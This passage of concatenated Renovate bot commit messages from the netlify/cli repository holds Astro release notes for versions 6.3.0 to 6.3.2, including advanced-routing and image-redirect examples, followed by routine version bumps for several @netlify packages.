not HTML-escaped in SSR output ### [`v6.3.2`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#632) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.3.1...astro@6.3.2) ##### Patch Changes - [#16675](https://redirect.github.com/withastro/astro/pull/16675) [`11d4592`](https://redirect.github.com/withastro/astro/commit/11d4592e9498e900b433ba94abed9cd615a9350b) Thanks [@ascorbic](https://redirect.github.com/ascorbic)! - Fixes a regression where `Astro.cache` was `undefined` when `experimental.cache` was not configured. The previous documented behavior is for `Astro.cache` to always be defined as a no-op shim: `cache.set()` warns once, `cache.invalidate()` throws and `cache.enabled` can be used to gate. This allows library and user code can call cache methods without conditional checks. The cache provider registration was being gated at the call site on `experimental.cache` being configured, which meant the disabled shim branch inside the provider was unreachable and the `Astro.cache` getter was never attached to the context. - [#16691](https://redirect.github.com/withastro/astro/pull/16691) [`0f0a4ce`](https://redirect.github.com/withastro/astro/commit/0f0a4ce1b28a6d6ec1658c7f59e0e68408935135) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes `HTMLElement is not defined` error during HMR when using components with client-side scripts (e.g. Starlight `<Tabs>`) and the Cloudflare adapter - [#16562](https://redirect.github.com/withastro/astro/pull/16562) [`07529ec`](https://redirect.github.com/withastro/astro/commit/07529eccdaef8727a375475e6d04071b770114a1) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes non-prerendered routes failing when a dynamic prerendered route exists in the same project with `prerenderEnvironment: 'node'` - [#16638](https://redirect.github.com/withastro/astro/pull/16638) [`272185b`](https://redirect.github.com/withastro/astro/commit/272185bcccf6a4adcd7575f319bf91f2e5306c6d) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes a bug where the Astro compiler wasn't freed at the end of the build. After the fix, the memory used by the compiler is now correctly freed at the end of the build. - [#16544](https://redirect.github.com/withastro/astro/pull/16544) [`d365c97`](https://redirect.github.com/withastro/astro/commit/d365c975ba2d88fc1dbdfe698df2bf9e2eafadce) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Tightens `isRemotePath()` to reject control characters after a leading slash and fixes the dev image endpoint origin check - [#16685](https://redirect.github.com/withastro/astro/pull/16685) [`889e748`](https://redirect.github.com/withastro/astro/commit/889e748f1546eabc325d5112f95bc78e402fd4f0) Thanks [@farrosfr](https://redirect.github.com/farrosfr)! - Improve validation messages for `security.csp.directives` when `script-src` or `style-src` are incorrectly placed in the `directives` array. - [#16605](https://redirect.github.com/withastro/astro/pull/16605) [`772f13a`](https://redirect.github.com/withastro/astro/commit/772f13a153db235a232a86dc533df3b07a1a09a0) Thanks [@rururux](https://redirect.github.com/rururux)! - Fixes `assetsPrefix` not being available on `build` from `astro:config/server`. - [#16556](https://redirect.github.com/withastro/astro/pull/16556) [`f38dec7`](https://redirect.github.com/withastro/astro/commit/f38dec76a48234ae6919a118f3d626c6ed3d4e80) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Rejects double-encoded URL paths with a 400 response instead of silently falling back to partial decoding - [#16659](https://redirect.github.com/withastro/astro/pull/16659) [`38bcb25`](https://redirect.github.com/withastro/astro/commit/38bcb25282d1f794b7dff349071b089a2737f0aa) Thanks [@jsparkdev](https://redirect.github.com/jsparkdev)! - Fixes `&` characters appearing as raw entity strings (e.g. `&#38;`) in `<meta>` tags when viewed in link previews or raw HTML. - Updated dependencies \[[`d365c97`](https://redirect.github.com/withastro/astro/commit/d365c975ba2d88fc1dbdfe698df2bf9e2eafadce), [`9256345`](https://redirect.github.com/withastro/astro/commit/92563452ce866d9f9b950ad4b2adc808d10e8014)]: - [@astrojs/internal-helpers](https://redirect.github.com/astrojs/internal-helpers)@0.9.1 - [@astrojs/markdown-remark](https://redirect.github.com/astrojs/markdown-remark)@7.1.2 ### [`v6.3.1`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#631) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.3.0...astro@6.3.1) ##### Patch Changes - [#16646](https://redirect.github.com/withastro/astro/pull/16646) [`15fbc41`](https://redirect.github.com/withastro/astro/commit/15fbc41bb2fe64e8aee15acbe01abb4792145e8a) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes local images returning 404 on non-prerendered pages when using the generic image endpoint ### [`v6.3.0`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#630) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.2.2...astro@6.3.0) ##### Minor Changes - [#16366](https://redirect.github.com/withastro/astro/pull/16366) [`d69f858`](https://redirect.github.com/withastro/astro/commit/d69f858475bee448d0873df4579e1c635223c248) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Adds a new `experimental.advancedRouting` option that lets you take full control of Astro's request handling pipeline by creating a `src/app.ts` file in your project. Today, Astro handles every incoming request through a fixed internal pipeline: trailing slash normalization, redirects, actions, middleware, page rendering, i18n, and so on. That pipeline works great for most sites, but as projects grow you often want to run your own logic *between* those steps — an auth check before rendering, a rate limiter before actions, custom logging around the whole stack. Advanced routing gives you that control. When enabled, Astro looks for a `src/app.ts` file in your project. If it finds one, that file becomes the entrypoint for all server-rendered requests. You compose the pipeline yourself using the handlers Astro provides, and you can slot your own logic anywhere in the chain. ##### Enabling advanced routing ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { advancedRouting: true, }, }); ``` ##### Two ways to build your pipeline Astro ships two entrypoints for advanced routing: `astro/fetch` and `astro/hono`. **`astro/fetch`** is a low-level, framework-free API built on the Web Fetch standard. You create a `FetchState` from the incoming request, then call handler functions in sequence. Each handler takes the state, does its work, and returns a `Response` (or `undefined` to pass through). This is the core primitive that everything else is built on: ```ts // src/app.ts import { FetchState, trailingSlash, redirects, actions, middleware, pages, i18n, } from 'astro/fetch'; export default { async fetch(request: Request) { const state = new FetchState(request); // Early exits — these return a Response only when they apply. const slash = trailingSlash(state); if (slash) return slash; const redirect = redirects(state); if (redirect) return redirect; const action = await actions(state); if (action) return action; // Middleware wraps page rendering; i18n post-processes the response. const response = await middleware(state, () => pages(state)); return i18n(state, response); }, }; ``` **`astro/hono`** wraps the same handlers as [Hono](https://hono.dev) middleware, so you can mix Astro's pipeline with Hono's ecosystem of middleware (logger, CORS, JWT, rate limiting, etc.) using the `app.use()` pattern you already know: ```ts // src/app.ts import { Hono } from 'hono'; import { getCookie } from 'hono/cookie'; import { logger } from 'hono/logger'; import { actions, middleware, pages, i18n } from 'astro/hono'; const app = new Hono(); app.use(logger()); // Auth gate — only runs for /dashboard routes. app.use('/dashboard/*', async (c, next) => { const session = getCookie(c, 'session'); if (!session) return c.redirect('/login'); return next(); }); app.use(actions()); app.use(middleware()); app.use(pages()); app.use(i18n()); export default app; ``` Both approaches give you the same power — pick whichever fits your project. If you don't need a framework, `astro/fetch` keeps things minimal. If you want a rich middleware ecosystem, `astro/hono` gets you there with one import. For more information on enabling and using this feature in your project, see the [experimental advanced routing docs](https://docs.astro.build/en/reference/experimental-flags/advanced-routing/). To give feedback, or to keep up with its development, see the [advanced routing RFC](https://redirect.github.com/withastro/roadmap/blob/advanced-routing-stage-3/proposals/0056-advanced-routing.md) for more information and discussion. - [#16366](https://redirect.github.com/withastro/astro/pull/16366) [`d69f858`](https://redirect.github.com/withastro/astro/commit/d69f858475bee448d0873df4579e1c635223c248) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Adds a `consume()` instance method to `AstroCookies`. This method marks the cookies as consumed and returns the `Set-Cookie` header values. After consumption, any subsequent `set()` calls will log a warning, since the headers have already been sent. Previously this was only available as a static method `AstroCookies.consume(cookies)`. The static method is now deprecated but kept for backward compatibility with existing adapters. - [#16412](https://redirect.github.com/withastro/astro/pull/16412) [`ba2d2e3`](https://redirect.github.com/withastro/astro/commit/ba2d2e3a4647b6ca84af6f06d4136e2824254305) Thanks [@0xbejaxer](https://redirect.github.com/0xbejaxer)! - Add retry and error event handling for `astro-island` hydration import failures to reduce unrecoverable hydration errors on transient network failures. - [#16582](https://redirect.github.com/withastro/astro/pull/16582) [`885cd31`](https://redirect.github.com/withastro/astro/commit/885cd31051ef848b75a0c0228747d815b24dc7da) Thanks [@Princesseuh](https://redirect.github.com/Princesseuh)! - Adds a new `image.dangerouslyProcessSVG` flag to optionally enable processing SVG inputs. For security reasons, Astro will no longer rasterizes SVG image sources by default in its default image service and endpoint. Set `image.dangerouslyProcessSVG: true` to opt back into processing SVG inputs. ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ // ... image: { dangerouslyProcessSVG: true, }, }); ``` Note that this is a breaking change for users who were previously relying on Astro's default image service to rasterize SVG inputs, but it is a necessary change to improve security and prevent potential vulnerabilities. - [#16519](https://redirect.github.com/withastro/astro/pull/16519) [`1b1c218`](https://redirect.github.com/withastro/astro/commit/1b1c218c2cf76806f94afbd1cdc2af27c8abc6d0) Thanks [@louisescher](https://redirect.github.com/louisescher)! - Adds support for redirecting URLs in remote image optimization. Previously, when a remote image URL meant to be optimized by Astro led to a redirect, Astro would fail silently and ignore the redirect. Now, Astro tracks up to 10 redirects for these images. If any of the redirects are not covered by a pattern in `image.remotePatterns` or a domain in `image.domains`, Astro will fail with a helpful error message. In the following example, the first image would be loaded successfully, while the second would lead to Astro throwing an error: ```mjs export default defineConfig({ image: { domains: ['example.com', 'cdn.example.com'], }, }); ``` ```tsx { /* Redirects to https://cdn.example.com/assets/image.png: */ } <Image src="https://example.com/assets/image.png" width="1920" height="1080" alt="An example image." />; { /* Redirects to https://malicious.com/image.png: */ } <Image src="https://example.com/bad-image.png" width="1920" height="1080" alt="An example image." />; ``` In cases where all redirects to HTTPS hosts should be trusted, the following configuration for `image.remotePatterns` can be used: ```mjs export default defineConfig({ image: { remotePatterns: [ { protocol: 'https', }, ], }, }); ``` ##### Patch Changes - [#16592](https://redirect.github.com/withastro/astro/pull/16592) [`9c6efc5`](https://redirect.github.com/withastro/astro/commit/9c6efc5eb85d76b580ab53da412ca099c32ed825) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Escapes interpolated values in the dev server redirect HTML template, consistent with how the 404 template already handles them - [#16585](https://redirect.github.com/withastro/astro/pull/16585) [`78f305e`](https://redirect.github.com/withastro/astro/commit/78f305e6962b50f7cce69772471ab318b6ef4c8a) Thanks [@web-dev0521](https://redirect.github.com/web-dev0521)! - Fixes `z.array(z.boolean())` in form actions incorrectly coercing the string `"false"` to `true`. Boolean array elements now use the same `'true'`/`'false'` string comparison as single `z.boolean()` fields, so submitting `["false", "true", "false"]` correctly parses as `[false, true, false]`. - [#16567](https://redirect.github.com/withastro/astro/pull/16567) [`12a03f2`](https://redirect.github.com/withastro/astro/commit/12a03f2492c2f32f0bd39dd85b8bc8bf1fbbc138) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes deleted content collection entries persisting in `getCollection()` results during dev - [#16595](https://redirect.github.com/withastro/astro/pull/16595) [`ce9b25c`](https://redirect.github.com/withastro/astro/commit/ce9b25c3edb92d9de5368dcf86a6af57254f7a31) Thanks [@web-dev0521](https://redirect.github.com/web-dev0521)! - Fixes `pushDirective` in the CSP runtime duplicating the new directive once per existing non-matching directive. Calling `insertDirective()` (or otherwise pushing a directive whose name is not yet in the list) now appends it exactly once, and a directive that merges with a later existing entry no longer leaves an unmerged copy behind. - [#16600](https://redirect.github.com/withastro/astro/pull/16600) [`94e4b7c`](https://redirect.github.com/withastro/astro/commit/94e4b7cf8566625563a0fa0ea8bc26fe831b2fe1) Thanks [@web-dev0521](https://redirect.github.com/web-dev0521)! - Fixes `Astro.preferredLocale` returning the wrong value when `i18n.locales` mixes object-form entries (`{ path, codes }`) with string entries that normalize to the same locale. The first matching code in the configured `locales` order is now selected, matching the documented behavior. - [#16591](https://redirect.github.com/withastro/astro/pull/16591) [`cce20f7`](https://redirect.github.com/withastro/astro/commit/cce20f7c3597d555d490abe98ea213753842e35a) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Uses a consistent generic error message in the image endpoint across all adapters - [#16629](https://redirect.github.com/withastro/astro/pull/16629) [`f54be80`](https://redirect.github.com/withastro/astro/commit/f54be80069c5b43ad76bd69393afa443e1fe08cf) Thanks [@g-taki](https://redirect.github.com/g-taki)! - Fixes a bug where SSR responses in `astro dev` could crash with `TypeError: this.logger.flush is not a function`. - [#16589](https://redirect.github.com/withastro/astro/pull/16589) [`3740b24`](https://redirect.github.com/withastro/astro/commit/3740b244431eae848b9a83e473528e583fcac2e7) Thanks [@ArmandPhilippot](https://redirect.github.com/ArmandPhilippot)! - Fixes an outdated code snippet in the documentation for session storage configuration. - Updated dependencies \[[`354e231`](https://redirect.github.com/withastro/astro/commit/354e23191f6a85fd466b512d378959cc12aebb01)]: - [@astrojs/telemetry](https://redirect.github.com/astrojs/telemetry)@3.3.2 ### [`v6.2.2`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#622) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.2.1...astro@6. > ✂ **Note** > > PR body was truncated to here. </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - Between 12:00 AM and 03:59 AM, only on Monday (`* 0-3 * * 1`) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/blobs](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/blobs)) | [`^10.7.7` → `^10.7.9`](https://renovatebot.com/diffs/npm/@netlify%2fblobs/10.7.7/10.7.9) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2fblobs/10.7.9?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2fblobs/10.7.7/10.7.9?slim=true) | --- ### Release Notes <details> <summary>netlify/primitives (@netlify/blobs)</summary> ### [`v10.7.9`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/blobs/CHANGELOG.md#1079-2026-05-29) [Compare Source](https://redirect.github.com/netlify/primitives/compare/d91ee47fc3ee294f42734f9f3767572c3b0cab8d...f1238cdc364d4f3a5e516d20830fcb15142df507) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@netlify/dev-utils](https://redirect.github.com/netlify/dev-utils) bumped from 4.4.5 to 4.4.6 - [@netlify/otel](https://redirect.github.com/netlify/otel) bumped from ^6.0.2 to ^6.0.3 ### [`v10.7.8`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/blobs/CHANGELOG.md#1078-2026-05-18) [Compare Source](https://redirect.github.com/netlify/primitives/compare/617922dfb80f5b6ba3db1db226922f1a7ba155c4...d91ee47fc3ee294f42734f9f3767572c3b0cab8d) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@netlify/dev-utils](https://redirect.github.com/netlify/dev-utils) bumped from 4.4.4 to 4.4.5 - [@netlify/otel](https://redirect.github.com/netlify/otel) bumped from ^6.0.1 to ^6.0.2 </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: kodiakhq[bot] <49736102+kodiakhq[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/dev](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/dev)) | [`4.16.3` → `4.16.4`](https://renovatebot.com/diffs/npm/@netlify%2fdev/4.16.3/4.16.4) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2fdev/4.16.4?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2fdev/4.16.3/4.16.4?slim=true) | --- ### Release Notes <details> <summary>netlify/primitives (@&netlify#8203;netlify/dev)</summary> ### [`v4.16.4`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/dev/CHANGELOG.md#4164-2026-03-19) [Compare Source](https://redirect.github.com/netlify/primitives/compare/cafb003cc37a43c6afc9aa0358015c90ae9a6794...96166d833512601a06ae9f011df16fb60d266b1f) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@&netlify#8203;netlify/blobs](https://redirect.github.com/netlify/blobs) bumped from 10.7.3 to 10.7.4 - [@&netlify#8203;netlify/dev-utils](https://redirect.github.com/netlify/dev-utils) bumped from 4.4.2 to 4.4.3 - [@&netlify#8203;netlify/edge-functions-dev](https://redirect.github.com/netlify/edge-functions-dev) bumped from 1.0.15 to 1.0.16 - [@&netlify#8203;netlify/functions-dev](https://redirect.github.com/netlify/functions-dev) bumped from 1.2.3 to 1.2.4 - [@&netlify#8203;netlify/headers](https://redirect.github.com/netlify/headers) bumped from 2.1.7 to 2.1.8 - [@&netlify#8203;netlify/images](https://redirect.github.com/netlify/images) bumped from 1.3.6 to 1.3.7 - [@&netlify#8203;netlify/redirects](https://redirect.github.com/netlify/redirects) bumped from 3.1.9 to 3.1.10 - [@&netlify#8203;netlify/runtime](https://redirect.github.com/netlify/runtime) bumped from 4.1.19 to 4.1.20 - [@&netlify#8203;netlify/static](https://redirect.github.com/netlify/static) bumped from 3.1.6 to 3.1.7 - devDependencies - [@&netlify#8203;netlify/types](https://redirect.github.com/netlify/types) bumped from 2.5.0 to 2.6.0 </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/dev-utils](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/dev-utils)) | [`4.4.2` → `4.4.3`](https://renovatebot.com/diffs/npm/@netlify%2fdev-utils/4.4.2/4.4.3) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2fdev-utils/4.4.3?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2fdev-utils/4.4.2/4.4.3?slim=true) | --- ### Release Notes <details> <summary>netlify/primitives (@&netlify#8203;netlify/dev-utils)</summary> ### [`v4.4.3`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/dev-utils/CHANGELOG.md#443-2026-03-19) [Compare Source](https://redirect.github.com/netlify/primitives/compare/cafb003cc37a43c6afc9aa0358015c90ae9a6794...96166d833512601a06ae9f011df16fb60d266b1f) ##### Dependencies - The following workspace dependencies were updated - devDependencies - [@&netlify#8203;netlify/types](https://redirect.github.com/netlify/types) bumped from 2.5.0 to 2.6.0 </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

…fy#8063) This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/edge-functions](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/edge-functions/prod)) | [`3.0.5` → `3.0.6`](https://renovatebot.com/diffs/npm/@netlify%2fedge-functions/3.0.5/3.0.6) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2fedge-functions/3.0.6?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2fedge-functions/3.0.5/3.0.6?slim=true) | --- ### Release Notes <details> <summary>netlify/primitives (@&netlify#8203;netlify/edge-functions)</summary> ### [`v3.0.6`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/edge-functions/prod/CHANGELOG.md#306-2026-03-19) [Compare Source](https://redirect.github.com/netlify/primitives/compare/cafb003cc37a43c6afc9aa0358015c90ae9a6794...96166d833512601a06ae9f011df16fb60d266b1f) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@&netlify#8203;netlify/types](https://redirect.github.com/netlify/types) bumped from 2.5.0 to 2.6.0 </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: kodiakhq[bot] <49736102+kodiakhq[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/images](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/images)) | [`1.3.6` → `1.3.7`](https://renovatebot.com/diffs/npm/@netlify%2fimages/1.3.6/1.3.7) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2fimages/1.3.7?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2fimages/1.3.6/1.3.7?slim=true) | --- ### Release Notes <details> <summary>netlify/primitives (@&netlify#8203;netlify/images)</summary> ### [`v1.3.7`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/images/CHANGELOG.md#137-2026-03-19) [Compare Source](https://redirect.github.com/netlify/primitives/compare/cafb003cc37a43c6afc9aa0358015c90ae9a6794...96166d833512601a06ae9f011df16fb60d266b1f) ##### Dependencies - The following workspace dependencies were updated - devDependencies - [@&netlify#8203;netlify/dev-utils](https://redirect.github.com/netlify/dev-utils) bumped from ^4.4.2 to ^4.4.3 </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/functions](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/functions/prod)) | [`5.1.4` → `5.1.5`](https://renovatebot.com/diffs/npm/@netlify%2ffunctions/5.1.4/5.1.5) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2ffunctions/5.1.5?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2ffunctions/5.1.4/5.1.5?slim=true) | | [@netlify/functions](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/functions/prod)) | [`^5.1.4` → `^5.1.5`](https://renovatebot.com/diffs/npm/@netlify%2ffunctions/5.1.4/5.1.5) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2ffunctions/5.1.5?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2ffunctions/5.1.4/5.1.5?slim=true) | --- ### Release Notes <details> <summary>netlify/primitives (@&netlify#8203;netlify/functions)</summary> ### [`v5.1.5`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/functions/prod/CHANGELOG.md#515-2026-03-19) [Compare Source](https://redirect.github.com/netlify/primitives/compare/cafb003cc37a43c6afc9aa0358015c90ae9a6794...96166d833512601a06ae9f011df16fb60d266b1f) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@&netlify#8203;netlify/types](https://redirect.github.com/netlify/types) bumped from 2.5.0 to 2.6.0 </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes 